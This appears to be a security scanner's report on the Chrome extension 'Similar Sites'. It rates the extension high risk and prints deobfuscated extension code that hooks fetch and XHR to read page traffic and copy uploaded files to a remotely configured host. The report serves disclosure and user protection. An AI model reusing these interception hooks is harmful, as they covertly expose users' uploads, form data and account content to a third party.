Is Similar Sites - Discover Related Websites safe?

High risk

Similar Sites is high risk. Code analysis shows uploaded files can be copied to a host named in remote configuration. This is gated by a vendor config rule; no copy was observed in testing.…

SimilarWebv7.5.0Extension ID necpbmbhhdiplmfhmjicabdeighkndknChrome Web Store
80Risk
Who publishes it

SimilarWeb - no other listings under this identity, 3 shared hostnames

Publisher
SimilarWeb

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

data-api.similarsites.com
Also called by 4 other listings, including Similar Sites - Discover Related Websites
serving-api.similarsites.com
Also called by 5 other listings, including Similar Sites - Discover Related Websites, Xranks
similarsites.com
Also called by 6 other listings, including Similar Sites - Discover Related Websites, Xranks
AI-assisted analysis.

Similar Sites findings

Uploaded files can be copied to a host named in the extension remote config

HighunwantedCWE-200Static analysis

Code analysis shows uploaded files can be copied to a host named in remote configuration.

What actually happens

You did this

A page uploads a File through fetch or XHR to a URL matching a config rule.

The extension did this

A copy of the file is uploaded to the same path on the host named in fork_to_host.

The code that does this

Page-side hook that dispatches the file reference

Readable version

Background handler for the fork request

background/background.js
const t = e.msg.url, a = e.msg.fth, n = e.msg.c;const i = new URL(t);if (a) i.host = a;else { if (!n) return; i.host = n.fork_to_host }if (i.host !== h) return;await j.linkfn(e.msg[w], e.msg[l], e.msg[m], i.href, f, s, o[c]);

Fields carried in the fork event

  • ab
    blob:https://example.com/3f2a9c1e-7d54-4b0a-9e11-5c2d8a6b7f10

    Blob URL pointing at the uploaded file contents.

  • name / type
    invoice.pdf / application/pdf

    File name and MIME type of the upload.

  • url
    https://example.com/api/upload

    Original upload URL whose host is replaced.

  • fth
    fork_to_host value from config

    Target host taken from the remote config rule.

What was not observed

Dynamic testing did not match any config rule on visited pages, and a planted test upload produced no duplicate request. The behavior is shown by code only.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Extension reads video ad (VAST) and Prebid auction data from pages

HighunwantedCWE-200Static analysis

Code analysis shows the extension parses video ad XML and reads Prebid auction events on pages with ads, for the vendor.

What actually happens

You did this

You open a page that serves a VAST video ad or runs a Prebid.js auction.

The extension did this

The extension extracts ad creative fields and auction events from the page.

The code that does this

Prebid event collection and VAST parsing

Readable version

VAST parser

frame/frame.js
const r = (new DOMParser).parseFromString(t, c),  i = new E;i.createXMLFragment(e.find);let n = await i.kebabToCamel(r);if (n) { n instanceof Array || (n = [n]), i.createXMLFragment(e.analyse); /* ... */ t.length && this.Deopt({ ... }) }

Ad data the code can read

  • Bid CPM and bidder
    appnexus, cpm 1.42

    Prices and bidder names from Prebid auction events.

  • Referrer
    https://www.example.com/news

    Page referrer attached to each batch of auction events.

  • MediaFile URL
    https://cdn.example.com/ad/creative.mp4

    Video creative URL from the VAST response.

Destination named in the claim

    • data-api.similarsites.com

    Endpoint named for collected data; no traffic to it was captured.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Fetch and XHR hooks can read page traffic bodies

HighunwantedCWE-200Dynamic sandbox

When a matching remote rule sets the page gate, the extension hooks fetch and XHR to read response bodies and raise page events.

What actually happens

You did this

You use a website while the extension has a matching remote rule for that page.

The rule must set the page-side sitessimilarityhash gate before the injected hook code runs.

The extension did this

The extension can replace fetch and XHR behavior and read request or response data from that page.

The hook dispatches CustomEvent messages named sitestatusplus for later processing by the content script.

Fields the hook code makes available

  • Request URL
    https://example.com/account/settings

    This shows which site or web API your browser contacted.

  • Request options
    {"method":"POST","credentials":"include"}

    This can include the method, headers, credentials mode, cache settings, and other request details.

  • Uploaded body
    email=user@example.com&remember=true

    If a matching rule asks for request data, submitted content can include values you typed into the page.

  • Response text
    {"accountStatus":"active","plan":"team"}

    The hook reads text or JSON returned by the site, which can reveal account or page content shown after the request.

Captured request

POSThttps://data-api.similarsites.com/content/config

200 response observed for the configuration request; no /numberOfSimilarSites request containing intercepted page data was captured.

Body
{  "sid": "a2dbadf9f"}

The code that does this

Fetch, XHR, relay, and reporting paths

Readable version

Readable fetch replacement

frame_ant/frame_ant.js
window.fetch = function(e, s) {  function r() {    const n = t.apply(this, [e, s]);    return a([e, s], n), n  }  if (!n.length) return r();  if (!n.find((t => new RegExp(t.page_url_match).test(location.href)))) return r();  const i = function(t) {    return "string" == typeof t ? t : t instanceof Request ? t.url : ""  }(e);  if (!n.find((t => new RegExp(t.request_url_match).test(i)))) return r();  let o, c = s || {}, l = null;  const f = e instanceof Request;  if (f && e.body instanceof ReadableStream) {    const t = { method: (u = e).method, headers: u.headers, referrer: u.referrer, referrerPolicy: u.referrerPolicy, mode: u.mode, credentials: u.credentials, cache: u.cache, redirect: u.redirect, integrity: u.integrity, keepalive: u.keepalive, signal: u.signal }, n = Object.assign({}, t, s), a = e.body.tee(), r = a[0], i = a[1];    o = [new Request(e.url, Object.assign({}, n, { body: r, duplex: "half" }))], l = { hasForkStream: !0, forkStream: i, originalContentType: e.headers.get("content-type") }  } else if (f) o = s ? [e, s] : [e];  else if (s && s.body instanceof ReadableStream) {    const t = s.body.tee(), n = t[0], a = t[1];    c = Object.assign({}, s, { body: n, duplex: "half" });    let r = "application/octet-stream";    s.headers && ("function" == typeof s.headers.get || s.headers instanceof Headers ? r = s.headers.get("content-type") || r : s.headers["content-type"] ? r = s.headers["content-type"] : s.headers["Content-Type"] && (r = s.headers["Content-Type"])), l = { hasForkStream: !0, forkStream: a, originalContentType: r }, o = [e, c]  } else o = s ? [e, s] : [e];  var u;  l && (o._metadata = l);  const p = t.apply(this, o);  if (a(o, p), n.length) try {    const t = "string" == typeof e ? e : e.url || e;    for (let a of n) if (!a.requires_resp && new RegExp(a.request_url_match).test(t) && s && s.body instanceof File) {      const n = s.body.name, r = s.body.type, i = URL.createObjectURL(s.body);      self.dispatchEvent(new CustomEvent("sitestatusplus-fk", { detail: { way: "fetch", ab: i, url: t, args: [e, s], name: n, type: r, fth: a.fork_to_host } }))    }  } catch (t) {}  return p}

Readable XHR replacement

frame_ant/frame_ant.js
t.open = function(t, e) {  try {    for (var a of n) new RegExp(a.request_url_match).test(e) && (this["sitestatusplus+"] = !0, this.fth = a.fork_to_host, this.c = a)  } catch (e) {}  return this.url = e, s.apply(this, arguments)}, t.send = function() {  return this.addEventListener("load", (function() {    var t = null;    try { t = this.responseText } catch (t) {}    var e = new CustomEvent("sitestatusplus", { detail: { way: "xhr", event: t, url: this.url } });    self.dispatchEvent(e)  })), e.apply(this, arguments), setTimeout((() => {    if (this["sitestatusplus+"] && arguments[0] instanceof File) {      var t = arguments[0].name, e = arguments[0].type, s = URL.createObjectURL(arguments[0]);      self.dispatchEvent(new CustomEvent("sitestatusplus-fk", { detail: { way: "xhr", ab: s, url: this.url, name: t, type: e, fth: this.fth, c: this.c } }))    }  }), 1e3)}

Readable content-script relay

content/content.js
async drainFunc(e, t) {  const n = K.initSourceMapSupport(h, T), r = K.initSourceMapSupport(h, i), a = K.initSourceMapSupport(h, y), o = K.initSourceMapSupport(h, k), s = K.initSourceMapSupport(h, l), c = K.initSourceMapSupport(h, f), u = t.url, p = t.detail || t;  for (let t = 0; t < e.length; t++) {    const i = e[t];    try {      if (i[n]) { const e = new RegExp(i[n]); if (!e.exec(u)) continue }      const e = i[r];      if (e) { const t = new b; if (t.createXMLFragment(e), !await t.kebabToCamel(p)) continue }      const t = i[a], l = new b;      l.createXMLFragment(t);      const S = await l.kebabToCamel(p);      if (!S) continue;      if (i[o]) { const e = new b; if (e.createXMLFragment(i[o]), !await e.kebabToCamel(S)) continue }      this.binarySearch({ [s]: i[s], [c]: S })    } catch (e) {}  }}binarySearch(e) {  const t = K.initSourceMapSupport(h, p), n = K.initSourceMapSupport(h, a), i = K.initSourceMapSupport(h, d);  chrome.runtime.sendMessage({ [t]: n, [i]: e })}async XMLHttpRequest(e) {  try { await this.drainFunc(this.circular2, e.detail || e) } catch (e) {}}

Readable SimilarSites POST path

background/background.js
testReallyEqual(e) {  return new Promise(((t, a) => { this.streamFilter(e, t, a) }))}streamFilter(e, t, n) {  try {    const n = this.hierarchy(e);    let i = [a.startMetrics, encodeURIComponent(e.data)].join(a.TakeLastOperator) + a.lineBreaks;    fetch(this._DeviceHubSharp, { method: a.kInit, headers: n, body: i }).then((n => {      const i = n.headers.get(a.to_node);      if (i) try { const e = JSON.parse(atob(i)); r.setSettings(e) } catch (e) {}      switch (n.status) {        case 200:        case 202:        case 204:          n.text().then((n => {            "function" == typeof t && t(n);            const r = a.newLastPage, i = { rsp: n };            i[r] = e, self.dispatchEvent(new CustomEvent(r, { detail: i }))          }))      }    })).catch((e => {}))  } catch (e) {}}get _DeviceHubSharp() {  return r.MainLocator() + a.vendors}

External host tied to configuration and reporting

    • data-api.similarsites.com

    Hosts the observed configuration endpoint and the code-defined /numberOfSimilarSites reporting path.

+5 more findings not shown

If you have Similar Sites installed

  1. Open chrome://extensions and turn on Developer mode to show IDs. Find the one with ID necpbmbhhdiplmfhmjicabdeighkndkn and choose Remove.
  2. Block the servers only it was seen contacting: sourcepoint.theguardian.com, global.ketchcdn.com, resources.digital-cloud.medallia.com, cdn.jwplayer.com.
  3. Scan your browser to check the rest of your extensions.

What Similar Sites can do

Permissions this extension asks for, as declared in version 7.3.19. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 7.5.0, which we have not unpacked yet.

  • Read and change your data on every site you visit

    *://*/*

  • See the address and title of every tab you have open

    tabs

  • Watch every request your browser makes

    webRequest

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Add items to the right-click menu

    contextMenus

Similar Sites version history

  1. 7.3.17

    Mar 4, 2026

  2. 7.3.19

    Jul 28, 2026

  3. 7.4.0

    Oct 30, 2026

  4. 7.5.0

    Nov 18, 2026

Where Similar Sites sends data

  • cpt-static.gannettdigital.com/universal-web-client/master/…45 calls

    From a script it injects into websites · 1 other extension

  • www.amazon.com/cart/add-to-cart/…7 calls

    From a script it injects into websites · 55 other extensions

  • m.media-amazon.com/images/S/…6 calls

    From a script it injects into websites · 33 other extensions

  • sourcepoint.theguardian.com/wrapper/v2/…6 calls

    From a script it injects into websites · only this extension

  • data-api.similarsites.com/content/config4 calls

    From its background script · 2 other extensions

  • www.amazon.com/gp/product/…4 calls

    From a script it injects into websites · 55 other extensions

  • www.amazon.com/portal-migration/hz/…3 calls

    From a script it injects into websites · 55 other extensions

  • accounts.google.com/gsi/status2 calls

    From a script it injects into websites · 36 other extensions

  • api-js.datadome.co/js2 calls

    From a script it injects into websites · 1 other extension

  • buy.tinypass.com/api/v3/…2 calls

    From a script it injects into websites · 2 other extensions

  • c2.piano.io/xbuilder/experience/…2 calls

    From a script it injects into websites · 2 other extensions

  • cdn-media.brightline.tv/config/v3/…2 calls

    From a script it injects into websites · 2 other extensions

  • edition.cnn.com/wbdotp/consent/…2 calls

    From a script it injects into websites · 5 other extensions

  • events.brightline.tv/track2 calls

    From a script it injects into websites · 1 other extension

  • fave.api.cnn.io/v1/runtime-configs2 calls

    From a script it injects into websites · 2 other extensions

  • global.ketchcdn.com/gvl/eu/…2 calls

    From a script it injects into websites · only this extension

  • ift.px-cloud.net/ns2 calls

    From a script it injects into websites · 4 other extensions

  • resources.digital-cloud.medallia.com/wdcus/235967/…2 calls

    From a script it injects into websites · only this extension

  • www.amazon.com/acp/cr-media-carousel/…2 calls

    From a script it injects into websites · 55 other extensions

  • www.amazon.com/vap/ew/…2 calls

    From a script it injects into websites · 55 other extensions

  • www.amazon.com/…2 calls

    From a script it injects into websites · 55 other extensions

  • www.google-analytics.com/j/collect2 calls

    From a script it injects into websites · 238 other extensions

  • cdn.cookielaw.org/consent/…1 call

    From a script it injects into websites · 12 other extensions

  • cdn.jwplayer.com/manifests/fwfYTEBf.m3u81 call

    From a script it injects into websites · only this extension

  • client.px-cloud.net/PXu6b0qd2S/main.min.js1 call

    From a script it injects into websites · 8 other extensions

Named inside its requests but not contacted (servers it tested or reported on): similarsites.com.

Chrome Web Store listing

Versions
7.5.0 latest of 4 seen since March 4, 2026
Store rating
3.9 from 397 ratings
Last updated
December 15, 2025
Size
1.28 MiB
Privacy policy
www.similarsites.com
Updated November 20, 2026